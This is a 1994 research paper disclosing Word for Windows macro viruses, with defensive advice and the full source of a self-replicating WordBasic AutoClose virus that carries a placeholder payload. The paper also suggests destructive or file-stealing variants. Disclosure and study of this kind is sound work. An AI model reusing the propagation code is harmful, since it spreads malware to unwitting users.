

Document Macro Viruses

Yes, you can spread a virus with a data file...

Joel McNamara (joelm@eskimo.com) - copyright 1994

Preliminary Draft Review Copy

December 21, 1994

Limited circulation - Do not redistribute

Background

In early December of 1994, users of America On-Line and the Internet were nervously opening their electronic mail. Rumors were flying about e-mail with the title of Goodtimes. If you opened the mail, your computer was instantly infected with a virus. Most experts scoffed at the possibility. After all, it takes an executable binary to be able to pass on a virus. DOS users occasionally have been plagued with ANSI bombs (a text file that when viewed with the TYPE command remaps your keyboard), but other than that, simply looking at data has never resulted in anything more harmful than eye strain. After investigation, the Goodtimes e-mail virus was deemed to be a hoax. But is there more to the story?

In truth, there is some risk of an e-mail propagated virus in mail applications that use embedded objects (MIME or OLE, for example). An embedded application that contains a virus or trojan horse could be sent in an e-mail message, and when executed, infect or damage the system. E-mail software that automatically runs embedded objects in a received message (such as plays a sound file, displays an image, or runs an application) is at particular risk from malicious mail sent anonymously.

While some security and virus experts have considered the potential for document-based viruses, discussions have been mostly theoretical in nature. There is agreement though, that viruses passed on by documents could pose a significant threat to computer users.

This paper moves beyond theory, by presenting preliminary research on an actual document-based virus created in Microsoft Word for Windows. The paper discusses the concept of a "document macro virus," describes how this type of virus functions, lists potential threats, and presents preventative measures for dealing with it.

Document Macro Viruses

While virus creators have concentrated on code that works at the operating system level, they have for the time being, neglected applications. Most business applications, such as spreadsheets, word processors, and data-bases, come with fairly powerful macro languages. Many applications have the ability to auto-execute macros. This combination provides a serious threat to computer users who have been taught that data files cannot harm their systems.

I use the term document macro virus (or DMV for short) to describe this type of potentially malicious code. DMV characteristics include:

- A DMV is written in the macro language of an application. It exploits the application's ability to automatically execute the macro on some event, such as opening or closing a document. Once this event occurs in a document that hosts the DMV, the virus spreads (or some form of Trojan Horse code is executed). Unlike a conventional virus or Trojan Horse, where the code is in the executable, a DMV uses its creator application as the agent to execute the code.

- Obviously, there are numerous security and privacy risks to the user who unknowingly uses a document that hosts a DMV. These are limited only by the imagination of the person who creates the DMV. A few malicious actions that are relatively easy to implement include:
 - Infecting your computer with a virus (goes without saying)
 - Deleting files on your hard disk
 - Renaming existing files
 - Copying personal files from your hard disk to a network location where they could be retrieved later by someone else
 - Sending sensitive files from your hard disk to an e-mail address via MAPI (Windows)

It's important to note that these risks are not exclusive to Word for Windows. Any application that supports automatic macros is a potential threat.

- DMVs are extremely simple to create. Most macro languages are a superset of BASIC, which is much easier to program in than assembly language favored by virus writers. As many macro languages support the ability to call external routines (such as functions in .DLLs), the macro language can easily be extended to create sophisticated viruses.
- Current virus checking software does not support identifying DMVs. DMVs do not exhibit standard virus characteristics such as altered MBRs, or specific data in memory or executable files.
- On a simplified level, DMVs tend to be application-specific in nature. This means the virus only infects documents of the same data type, such as all Microsoft Word for Windows documents. Most macro languages are not cross-application compatible (for example, a Word DMV document that was imported into Ami Pro, would likely not pass the virus on). An exception may be Microsoft's common macro language, Visual Basic for Applications (VBA). It is possible an advanced DMV could be written with VBA that could move from one application to another.
- Since a DMV is application specific, it is theoretically possible a document could pass a virus from one platform to another (i.e. an Intel-based system running Windows, to a Motorola/Power PC-based Macintosh system). This makes a DMV unique from normal viruses, which tend to be platform specific due to the nature of their coding.

If you're using Word for Windows 6.0 to read this paper, in its original formatted form, closing the document will execute a sample, non-destructive version of a DMV (see below for details on how it actually works). Dialog boxes show you each step as it is executed. If you're cautious, which you should be, choose the Macro command from the Tools menu. Select AutoClose and Edit to examine the commented macro (source code is included at the end of this paper). If you're very cautious, you can delete the macro before closing this document.

How the Word DMV Works

Microsoft Word for Windows uses a macro language called WordBasic. It also supports a series of automatic macros. If a macro has a reserved name, it automatically executes on a specific event.

<u>Macro name</u>	<u>Runs</u>
AutoExec	When you start Word
AutoNew	When you create a new document
AutoOpen	When you open a document
AutoClose	When you close a document
AutoExit	When you quit Word

The sample Word DMV contained in this document is named AutoClose. Each time the document is closed, the macro is executed. This action takes place regardless of whether the file is opened from a disk or embedded as an object in e-mail.

Word for Windows stores macros, as well as styles, in document templates (.DOT files). Global macros are stored in the NORMAL.DOT file.

The first action the Word DMV takes is to look in NORMAL.DOT to see if an AutoClose macro already is present. If it isn't, it copies itself into NORMAL.DOT. (The sample does not perform an "execute-only" copy. Such a copy prevents the user from editing the macro to examine it.) If an AutoClose macro is present, it doesn't infect the file. (It is possible, although unlikely, that a legitimate AutoClose macro may be in NORMAL.DOT. The macro doesn't check the actual code to determine if it is the Word DMV.)

Once NORMAL.DOT is infected, each time any document is closed while in Word, the DMV macro executes.

The method described above produces a virus that is limited to only infecting users who open and close the DMV.DOC file. (This raises interesting possibilities for targeting a specific segment of a user population for some malicious action. For example, a DMV entitled WAREZ.DOC could be anonymously posted to a pirate software bulletin board. The document would contain legitimate information to encourage redistribution, but host a DMV that randomly deleted hard drive files.)

As stated earlier, Word only stores macros in document templates. You cannot add a macro to a normal Word document (.DOC) file. This appears to eliminate the ability to be able to spread a DMV from the original source to other documents (which would dramatically increase the spread of the virus).

However, there is a way around this limitation. A Word .DOT template is very similar in format to a normal .DOC file. The two have the same appearance and functionality when opened in Word. In fact, this document was originally a .DOT file (so the sample macro could be inserted), but renamed with a .DOC extension.

To infect other documents, the DMV macro in NORMAL.DOT checks the current document to see if it has already been infected with the macro. If it hasn't, the macro saves the file as a document template. This generates a "saving file" display at the bottom of the screen (which isn't suspicious, since many users use auto-save). Word now treats the current document as a template, and the DMV macro in NORMAL.DOT can copy itself into the current document.

File extensions are very deceptive. Although the document still has a .DOC extension, it is now a template. When Word opens the document, it doesn't care what extension the file has. It reads the file and determines if it is in a format it can process. The only clue that a normal document has been saved as a template is when you choose the Save As command in the File menu. Word attempts to force you to save the template in a default directory that contains other Word templates. The other clue is Word prompts you if you want to save changes when you close, even if you haven't edited the document.

The end of the macro contains code that isn't related to the actual spreading of the virus. The Word DMV just displays a dialog box that indicates this is a point where code would be executed. Obviously, it is up to the imagination of the creator as to what code is placed here. If the virus portion of the macro was removed, the DMV becomes a Trojan Horse.

The Word DMV is very simplistic. It uses standard macro commands to propagate the virus. However, since Word Basic supports the ability to call API routines in .DLLs, a much more sophisticated virus that could infect the operating system or other applications could be created.

As multiple-platform software usually shares common code, it seems reasonable that a DMV could be passed on from one platform to another. For example, if a Word for Windows document is infected, transferred to a Macintosh disk, then loaded into Macintosh Word, the DMV would likely infect the Mac version of Word. I haven't tested this yet, but it seems to be a probable occurrence.

As stated before, this is not a problem exclusive to Word for Windows (preliminary research seems to indicate that Excel has even more vulnerabilities) or Microsoft-specific products. While a complete survey of business software has not been completed, automatic macros seem to be common in many applications produced by a variety of vendors.

Word DMV Cookbook

Someone with a suspicious nature might think this document has been altered in some way (beyond just using macros) to produce the Word DMV. To disprove this, run Word for Windows 6.0 and perform the following steps:

1. Create a macro named AutoClose (it's up to you what you want the macro to do).
2. Save it to the NORMAL.DOT template (the default) and exit Word.
3. Go to File Manager and copy the NORMAL.DOT file to TEST.DOT.
4. Run Word and choose Macro from the Tools menu.
5. Delete the AutoClose macro from NORMAL.DOT.
6. Open TEST.DOT (it will be blank).
7. Enter some text so it appears to be a normal document, save, and close.
8. Go to the File Manager and rename TEST.DOT to TEST.DOC.
9. Open TEST.DOC with Word. When the document is closed, the macro will execute.

Removing the Word DMV

Removing the Word DMV is relatively easy. First run Word, then:

- If an infected file is open, choose the Macro command from the Tools menu. Delete the AutoClose macro from the open document and NORMAL.DOT.
- If no documents are open, choose the Macro command in the File menu. Delete the AutoClose macro from NORMAL.DOT.

Dealing with DMVs

The only current protection against DMVs is manually examining any document with the creator application to see if suspect macros are present. This is obviously extremely time and labor intensive.

The virus research community should make an effort to identify all applications with automatic macro capabilities. This should be a relatively easy task. The functionality and characteristics should be studied to assess threat potential and identify means of detection. For example, Word DMVs should be easy to identify, since the macro code appears to be saved as ASCII text. A simple string search could be performed on .DOC and .DOT files to look for AutoExec, AutoOpen, AutoClose, etc. Existing virus tools should be modified to identify potential DMV host files.

Software manufacturers need to modify future versions of their applications to limit the potential damage an automatic macro could cause. It would be very simple to code an option where a dialog box prompts a user whether they want to execute an automatic macro. By default, this option would be turned on. The user would have the choice of turning the option off if they wanted automatic macros executed with no confirmation.

Users need to be aware that DMVs are real and can pose a significant threat to their data security. Automatic macros are virtually unknown to the general user population. Steps should be taken to educate people without causing panic.

Protecting Yourself from Word DMVs

Even without a virus scanner capable of detecting DMVs, you can protect yourself against DMVs in Word documents.

Any automatic macro is easily detected by choosing the Macro command from Word's Tool menu. A suspicious macro can be examined or deleted (hopefully, before it executes).

Microsoft provides two methods of disabling automatic macros in Word.

To quote from Document Q96565 in Microsoft's product support Knowledge Base:

SUMMARY

To prevent a Microsoft Word for Windows auto macro from running, hold down the SHIFT key when you perform the action that triggers the macro. AutoExec, AutoNew, AutoOpen, AutoClose, and AutoExit are the auto macros in Word for Windows.

MORE INFORMATION

When opening a Word for Windows document that is associated with a template that contains an AutoOpen macro, hold down the SHIFT key until the document is completely opened. Depressing the SHIFT key prevents the action that triggers the macro.

When opening a new Word for Windows document based on a template that contains an AutoNew macro, hold down the SHIFT key until the new document is opened.

To prevent a Word for Windows AutoExec macro from executing, do one of the following:

- At the command prompt, type "win winword /m" (without the quotations marks) and press ENTER.

- or-

- Select the Word for Windows program icon in Program Manager. From the File menu, choose Properties. Add the /m switch to the current command line parameter (for example, "C:\WINWORD\WINWORD.EXE /m").

-or-

- Press and hold down the SHIFT key while double-clicking the Word for Windows program icon.

In Word for Windows version 6.0, you can use the following command line to disable all auto macros, including AutoExec:

```
C:\WINWORD\WINWORD.EXE /mDisableAutoMacros
```

A more recent document Q117399, dated November 15, 1994 describes disabling automatic macros in Word 6.0.

SUMMARY

The "Microsoft Word Developer's Kit" incorrectly states on page 339 that "You can use the following command line to disable all auto macros, including AutoExec:

```
winword.exe /mDisableAutoMacros
```

When executed from the command line, the DisableAutoMacros instruction disables ONLY the AutoExec macro but does not disable the AutoNew, AutoOpen, AutoClose, or AutoExit macros.

WORKAROUND

To disable all auto macros for the current session of Word, the DisableAutoMacros command must be issued from inside a macro. Use the following macro to accomplish this:

```
Sub Main
```

```
DisableAutoMacros
```

```
End Sub
```

If you name this macro "DisableAuto" (without the quotation marks), you can use the command line "WINWORD.EXE /mDisableAuto" (without the quotation marks) to disable all auto macros, including the AutoExec macro, for the entire Word session.

To modify the command line, in Program Manager, select the Word for Windows icon. From the File menu, choose Properties. Make your changes to the command line and choose OK.

The excerpts from the Knowledge Base articles presented above are copyrighted by Microsoft.

It's interesting to note that the first method applies to all versions of Microsoft Word for Windows since version 1.0. Because of the sheer simplicity in creating a DMV, I find it surprising none have formally been documented. There is the possibility that isolated infections could have occurred within small pockets of users, for example in a corporation, and since conventional virus scanners never reported viruses, the DMVs went undetected.

As an aside, unfortunately the Windows File Manager doesn't support being able to associate a document type (such as .DOC) with an application and command-line switch. Unless Word is already running, this means there's no way to load Word with the disabled macro switch when a .DOC file is double-clicked in the File Manager. It is theoretically possible to write a shell application that launches Word with auto macros disabled, and associate .DOC files with the shell.

Conclusion

DMVs present a significant threat to computer users that have been taught only executable applications can propagate viruses or unleash damaging Trojan Horses.

Because of the simplicity in creating DMVs, it is likely only a matter of time before the method is discovered and disseminated among the more malicious virus writers. (I find it amazing I've been able to write so much about what is an extremely trivial piece of code.)

A concerted effort needs to be made to educate users of this threat. While this is happening, the virus research community should examine all applications that feature automatic macros so their characteristics can be understood. Based on this information, existing virus detection tools should be modified to scan for automatic macros in data files. Finally, software manufacturers need to add functionality to future versions of their applications to limit potential damage DMVs can cause.

Word DMV Code

The following is the macro code used to create the Word DMV. If you received this file as a Word formatted document, you can also use the Macro command in Word's Tools menu to examine the source.

REM This demonstrates an application-specific document virus
REM generated by an automatic macro in Microsoft Word for
REM Windows 6.0. Code is executed each time a document is closed.
REM This macro is only a demonstration, and does not perform any
REM destructive actions.

REM The purpose of this code is to reveal a significant security
REM risk in software that supports macro languages with
REM auto-loading capabilities. Current virus detection tools are
REM not presently capable of detecting this type of virus, and
REM most users are blissfully unaware that threats can come from
REM documents.

REM Paste this code in the macro Window of a Word document
REM template. Save the macro as AutoClose. Enter some random
REM text in the main word processing window and save the document.
REM Now copy the file, naming the new file VIRUS.DOC. Open
REM VIRUS.DOC in Word. It will appear as a normal document, but
REM when you close the document, the virus will execute.

REM Message boxes display progress as the code is executed.
REM Code is commented.

REM joelm@eskimo.com, December 17, 1994

REM -----

Sub MAIN

title\$ = "Document Macro Virus"

MsgBox "Counting global macros.", title\$, 16

REM check how many macros are globally available.

total = CountMacros(0)

present = 0

REM Check and see if the AutoClose macro is installed in global.

If total > 0 Then

For cycle = 1 To total

If MacroName\$(cycle, 0) = "AutoClose" Then

MsgBox "AutoClose macro virus is already installed in NORMAL.DOT.", title\$, 16

present = 1

End If

End If

REM Get the current document name.

a\$ = WindowName\$() + ":AutoClose"

REM If AutoClose isn't present, then copy it to NORMAL.DOT.

If present <> 1 Then

MacroCopy a\$, "Global:AutoClose"

MsgBox "Infected NORMAL.DOT with copy of AutoClose macro virus.", title\$, 16

REM The following code infects a document each time it is closed.

REM This effectively spreads the macro virus each time an infected
REM document is opened by Word.

Else

REM If AutoClose is already global and the file hasn't been
REM infected yet, save the current file as a
REM template instead of a document so the macro can be
REM attached.

REM See if AutoClose is already in the document. Don't need
REM to check names because the virus would be the only code
REM putting a macro in a document.

present = 0

If CountMacros(1) <> 0 Then

MsgBox "AutoClose macro virus already present in this document.", title\$, 16

present = 1

End If

REM Save the document as a template.

If present = 0 Then

FileSaveAs .Format = 1

MsgBox "Saved current document as template.", title\$, 16

REM Then copy the AutoClose macro from NORMAL.DOT.

MacroCopy "Global:AutoClose", a\$

MsgBox "Infected current document with copy of AutoClose macro virus.", title\$, 16

End If

End If

REM After the document or NORMAL.DOT has been infected, then
REM execute the following macro code (this could be destructive,
REM such as a Kill command, invasive, such as a Connect and
REM CopyFile command, or harmless, with no malicious intent).

MsgBox "Macro virus has been spread. Now execute some other code (good, bad, or indifferent).", title\$, 16

End Sub